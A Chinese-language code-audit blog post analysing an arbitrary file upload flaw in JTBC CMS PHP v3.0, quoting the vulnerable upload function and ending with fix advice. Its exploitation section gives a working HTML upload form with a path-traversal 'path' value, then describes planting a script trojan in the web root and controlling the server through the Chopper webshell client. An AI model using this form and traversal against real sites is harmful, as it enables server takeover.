【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析

时间:2023-01-31 17:31:50

 

0x00 环境准备

JTBC(CMS)官网:http://www.jtbc.cn

网站源码版本:JTBC_CMS_PHP(3.0) 企业版

程序源码下载:http://download.jtbc.cn/php/3.0/PHP_JTBC_CMS.C.zip

测试网站首页:

【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析

0x01 代码分析

1、漏洞文件位置:/console/file/common/incfiles/manage.inc.php 第212-241行:

  1. public static function moduleActionAddFile()
  2. {
  3. $tmpstr = '';
  4. $status = 0;
  5. $message = '';
  6. $path = base::getString(request::get('path'));
  7. $pathRoot = smart::getActualRoute('./');
  8. $account = self::account();
  9. if (!$account -> checkPopedom(self::getPara('genre'), 'add'))
  10. 10.   {
  11. 11.     $message = tpl::take('::console.text-tips-error-403', 'lng');
  12. 12.   }
  13. 13.   else
  14. 14.   {
  15. 15.     if (is_dir($path))
  16. 16.     {
  17. 17.       $myPath = base::getLRStr($path, $pathRoot, 'rightr');
  18. 18.       $filename = @$_FILES['file']['name'];
  19. 19.       $tmp_filename = @$_FILES['file']['tmp_name'];
  20. 20.       $newfilepath = $path . self::ppSetFolderAndFileName($filename);
  21. 21.       if (move_uploaded_file($tmp_filename, $newfilepath))
  22. 22.       {
  23. 23.         $status = 1;
  24. 24.         $account -> creatAutoLog('manage.log-addfile-1', array('path' => $myPath . $filename));
  25. 25.       }
  26. 26.     }
  27. 27.   }
  28. 28.   $tmpstr = self::formatMsgResult($status, $message);
  29. 29.   return $tmpstr;

30. }

这段代码中,获取path参数,拼接成完整路径,然后将文件上传到服务器。

并没有对文件类型进行过滤,导致程序在实现上存在任意文件上传漏洞,攻击者可以通过上传脚本木马,控制服务器权限。

0x02 漏洞利用

1、登录网站后台,然后构造Form表单:

  1. <form enctype="multipart/form-data" action="http://127.0.0.1/console/file/manage.php?type=action&action=addfile&path=../.././" method="post">
  2. Upload a new file:<br>
  3. <input type="file" name="file" size="50"><br>
  4. <input type="submit" value="Upload">
  5. </form>

2、成功上传脚本木马到网站根目录,且文件名未进行重命名

【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析

3、通过url访问脚本木马地址,执行脚本代码

【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析

4、通过菜刀连接,成功控制网站服务器

【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析

0x03 修复建议

1、通过白名单限制上传文件后缀

2、禁止上传目录脚本执行权限。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析